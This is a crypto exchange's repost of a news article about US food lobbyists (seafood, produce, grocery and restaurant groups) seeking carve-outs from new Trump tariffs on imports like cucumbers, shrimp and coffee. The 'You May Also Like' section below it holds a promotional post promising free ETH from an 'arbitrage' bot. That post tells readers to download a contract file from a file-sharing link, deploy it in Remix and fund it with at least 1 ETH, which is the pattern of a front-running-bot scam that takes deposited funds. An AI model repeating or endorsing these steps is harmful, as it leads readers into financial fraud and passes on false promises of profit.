Food industry leaders in the U.S. are flooding Trump’s trade team with one message: don’t slap tariffs on products we can’t grow. That plea, coming from grocers, seafood firms, restaurants, and fresh produce lobbies, follows the White House decision this month to hit dozens of countries with a wave of new duties. According to the […]Food industry leaders in the U.S. are flooding Trump’s trade team with one message: don’t slap tariffs on products we can’t grow. That plea, coming from grocers, seafood firms, restaurants, and fresh produce lobbies, follows the White House decision this month to hit dozens of countries with a wave of new duties. According to the […]

Food lobby begs Trump for tariff carveouts on cucumbers and fis

2025/08/25 07:40

Food industry leaders in the U.S. are flooding Trump’s trade team with one message: don’t slap tariffs on products we can’t grow.

That plea, coming from grocers, seafood firms, restaurants, and fresh produce lobbies, follows the White House decision this month to hit dozens of countries with a wave of new duties.

According to the Financial Times, Trump’s latest tariffs have pushed America’s overall trade tax rate to the highest it’s been in decades, and food lobbyists are now working overtime to get their most vulnerable products exempted.

Their pitch is blunt: some items just aren’t grown in this country at scale, and tariffs on them are going to wreck prices across the food chain. Instead of launching an all-out war on Trump’s policy, the lobbyists are going in one-by-one, trying to carve out exceptions for cucumbers, fish, shrimp, pineapples, coffee; anything that could make a grocery bill worse.

Seafood industry defends imports as essential

Gavin Gibbons, the chief strategy officer at the National Fisheries Institute, argued that the seafood trade should be treated differently. “There are so many voices, so many products that say, ‘Well, we just need an exemption, because we’re unlike others’,” he said, and added, “We would like an exemption for all [seafood].”

Gavin said that 85 percent of seafood consumed in the U.S. is imported, and American fisheries are already capped at their legal harvest limits. Expanding domestic fish farms isn’t feasible either, thanks to tight federal rules.

Government data shows the U.S. had a $24 billion seafood trade deficit in 2022, and Gavin warned that without tariff relief, that number would only grow. Shrimp is especially dependent on imports. He said 90 percent of shrimp eaten in the U.S. is brought in from abroad, and over a third of that comes from India, which Trump is now punishing with a 50 percent tariff in response to its oil deals with Russia.

Restaurants are also caught in the crossfire. The National Restaurant Association sent a letter last month to trade representative Jamieson Greer warning that food prices on menus could climb fast if fresh ingredients, many of which are only available seasonally, get hit with high duties.

Produce groups push back on rising food costs

On the produce front, the industry is just as alarmed. The U.S. imports $36 billion worth of fresh fruits and vegetables, with Mexico leading the pack, followed by Peru for fruits and Canada for vegetables.

Andy Harig, a vice-president at the Food Industry Association, which represents major grocers like Walmart and Albertsons, explained what’s at stake if exemptions aren’t granted. “Tariffs are designed to raise prices.

Some of these are significant enough that they will raise prices by a very noticeable amount,” he said. Andy’s team recently analyzed the case of cucumbers, a product that’s become almost entirely import-reliant.

In 1990, just 35 percent of cucumbers came from outside the U.S. That number is now close to 90 percent. If the U.S. tried to grow them year-round, it would need massive greenhouse operations — a costly undertaking that would hit shoppers hard.

Andy added that his group isn’t calling for a return to old trade models. “There is still a desire to be able to ask for exemptions, and try to turn these tariffs into a more targeted and focused kind of approach to addressing both reshoring production in the U.S. and supporting U.S. jobs,” he said.

There are a few trade deals on the table that might offer partial relief. A new agreement with Indonesia includes language about natural resources that aren’t available domestically, which might open a door for exemptions on things like tropical fruits. A similar line appears in the U.S.–EU trade deal, but that document doesn’t say which products might qualify.

Brazil, which just got slapped with a 50 percent tariff, managed to get some foods excluded — like orange juice and Brazil nuts — while coffee was left out, despite not being produced in the U.S. Commerce Secretary Howard Lutnick hinted last month that items like coffee, mangoes, and pineapples could eventually be spared, but again, nothing’s guaranteed.

The smartest crypto minds already read our newsletter. Want in? Join them.

Disclaimer: The articles reposted on this site are sourced from public platforms and are provided for informational purposes only. They do not necessarily reflect the views of MEXC. All rights remain with the original authors. If you believe any content infringes on third-party rights, please contact [email protected] for removal. MEXC makes no guarantees regarding the accuracy, completeness, or timeliness of the content and is not responsible for any actions taken based on the information provided. The content does not constitute financial, legal, or other professional advice, nor should it be considered a recommendation or endorsement by MEXC.
Share Insights

You May Also Like

How To Get 1 ETH for FREE with Crypto Arbitrage | Full Tutorials | Oct 2025

How To Get 1 ETH for FREE with Crypto Arbitrage | Full Tutorials | Oct 2025

How To Get 1 ETH Daily for FREE on UniSwap with Crypto Arbitrage | Full Tutorials | Oct 2025 Imagine putting 1 ETH to work — not by trading or gambling, but by letting code generate consistent profit for you. This is the quiet revolution of smart contracts — the invisible hands of decentralized finance (DeFi) that can earn yield, reinvest profits, and manage portfolios automatically. In this article, I’ll show you: How smart contracts make passive profit possible A practical way to invest 1 ETH and grow it over time Step-by-step instructions (and where a video tutorial fits in) Proven strategies to promote and scale your results By the end, you’ll understand how 1 ETH can start working for you 24/7, without banks, brokers, or burnout. What Exactly Is a Smart Contract? A smart contract is a piece of code on the blockchain that executes automatically when certain conditions are met. Think of it as: For example: “If ETH is staked, distribute staking rewards weekly.” “If yield exceeds 10%, reinvest profits.” Smart contracts remove intermediaries and emotions from investing. They execute exactly as written — no delays, no disputes, no banks. They’re the backbone of DeFi protocols like Uniswap, Aave, Compound, and Yearn Finance — where users collectively earn yield, borrow assets, or provide liquidity with trustless automation. Step-by-Step: How to Invest 1 ETH Using a Smart Contracthttps://medium.com/media/2a4f9beffe5d99f94234d2a21b3a3ae5/href Step 1: Install a Crypto Wallet Extension Choose one of the following wallets: MetaMask: https://metamask.io/download/ Coinbase Wallet: https://www.coinbase.com/wallet/ Trust Wallet: https://trustwallet.com/download/ Step 2: Open Remix — Visit Remix IDE Step 3: Download the smart contract code — https://file.kiwi/ec31a2d0#vZuKW5mmNvmBZ4pczSp6Yw Step 4: Click on “Open a File from your File System” and upload ‘bot.sol’ file to Remix. Step 5: Click on the file. Compile the code by going to the Solidity Compiler tab in Remix, select version compiler 0.6.6. Click Compile. Step 6: Deploy Your Contract. Navigate to the Deploy & Run Transactions tab. Select Injected Provider as the environment. Click Deploy and confirm the contract creation fee in MetaMask. Your contract is now live! Step 7: Fund Your Bot Add funds to your bot for transaction frontrunning. Start with at least 1 ETH, or more depending on your strategy. Step 8: Activate and Manage Your Bot Click Start to activate your bot. To stop it and withdraw your funds, click Withdraw. Accessing a Previous Contract Reminder: You must use the same MetaMask account that was used for the initial deployment to regain access. The Future: Code as the New Wealth Manager We’re witnessing the rise of a new financial paradigm. In traditional finance, you depend on fund managers and institutions. In DeFi, you depend on verified code that works transparently, 24/7, without bias. Your 1 ETH isn’t just a digital coin — it’s programmable capital. You can instruct it to work, grow, and compound automatically, while you focus on strategy instead of stress. Final Thoughts The wealthiest people of the next decade won’t just own assets —  They’ll own automated systems that manage those assets intelligently. By learning how to leverage smart contracts today, you’re positioning yourself ahead of the financial curve. So the question is no longer “Can 1 ETH make consistent profit?” — it’s “Are you ready to let code work for you?” How To Get 1 ETH for FREE with Crypto Arbitrage | Full Tutorials | Oct 2025 was originally published in Coinmonks on Medium, where people are continuing the conversation by highlighting and responding to this story
Share
2025/10/25 21:06
Ethereum’s next era? Low-risk DeFi is like Google: Buterin

Ethereum’s next era? Low-risk DeFi is like Google: Buterin

The post Ethereum’s next era? Low-risk DeFi is like Google: Buterin appeared on BitcoinEthereumNews.com. Ethereum co-founder Vitalik Buterin sees low-risk DeFi as the platform’s core economic driver, likening its role to search advertising for Google. Summary Vitalik Buterin says low-risk DeFi could become Ethereum’s key economic backbone. He compares it to how Google’s ad revenue sustains its growth and global dominance. Buterin stresses secure apps like lending, savings, and payments as ETH’s foundation. DeFi maturation creates sustainable Ethereum revenue model In a recent blog post, Buterin argued that basic financial services like payments, savings, and collateralized lending can bridge the gap between profitable applications and Ethereum’s (ETH) founding values. Buterin noted that DeFi protocols have matured substantially, with a stable core of applications proving remarkably strong over time. He stated that low-risk DeFi provides irreplaceable value and also remains culturally aligned with Ethereum’s decentralized goals. The shift toward low-risk DeFi shows the overall changes in protocol security and risk management. Buterin pointed to data showing DeFi losses increasingly concentrated at experimental edges of the ecosystem. He also added that core applications show growing stability and user trust. Unlike earlier DeFi waves driven by unsustainable yield farming incentives, current low-risk applications focus on fundamental financial needs. These include stablecoin deposits earning competitive rates on platforms like Aave, synthetic asset exposure, and fully collateralized lending markets that serve real economic demand. Buterin argued that crypto’s advantage lies not in creating artificially high yields, but in making existing global economic opportunities accessible without traditional finance barriers. Buterin describes several potential paths for low-risk DeFi Buterin described several potential paths for low-risk DeFi that could expand its impact and economic value. These include reputation-based undercollateralized lending once mature onchain activity creates reliable identity and credit scoring mechanisms. Prediction markets could integrate with traditional DeFi for hedging strategies that allow users to offset portfolio risks through betting against correlated…
Share
2025/09/22 02:45
Ferrari enters crypto race; luxury carmaker plans token

Ferrari enters crypto race; luxury carmaker plans token

The post Ferrari enters crypto race; luxury carmaker plans token appeared on BitcoinEthereumNews.com. Ferrari plans to launch a digital token for its ultra-exclusive Hyperclub members, adding another luxury automaker’s entry into crypto markets. Summary Ferrari to launch a digital token for 100 Hyperclub members in 2027. The ‘Token Ferrari 499P’ lets members trade, bid, and access exclusive events. Ferrari expands crypto adoption beyond payments through a Conio partnership. The Italian sports carmaker will introduce the ‘Token Ferrari 499P’ for 100 of its wealthiest fans to trade and bid on a Ferrari 499P endurance racing car. The token launch is set for the start of the 2027 World Endurance Championship season. Ferrari’s Chief Marketing and Commercial Officer, Enrico Galliera, stated that the initiative aims to strengthen loyalty among top-tier customers. The company has partnered with Italian fintech Conio to develop the token system. Ferrari expands crypto acceptance beyond payments Ferrari started accepting Bitcoin, Ethereum and USDC for vehicle purchases in the U.S. in 2023. The company extended this payment option to European markets in 2024. The new token project goes beyond simple payment acceptance. Members can use tokens to: Trade among themselves within the Hyperclub Participate in exclusive auctions for racing models Access special events tied to endurance racing Conio is currently applying for a license under the European Union’s new crypto regulation. The company’s Chief Fintech Strategist Davide Rallo described the development potential as “enormous.” Auto industry shows growing crypto appetite Ferrari joins other major automakers accepting digital currencies. In August 2025, Volkswagen Group Singapore began accepting Bitcoin, Ethereum, USDT and USDC for vehicle purchases and services through FOMO Pay. The program has a daily transaction cap of SGD 4,500. Toyota, BYD, and Yamaha started accepting USDT payments in Bolivia in September 2025. Tether CEO Paolo Ardoino announced the development on Sept. 21. Bitcoin has climbed 60% over the past year, and prices…
Share
2025/10/25 21:31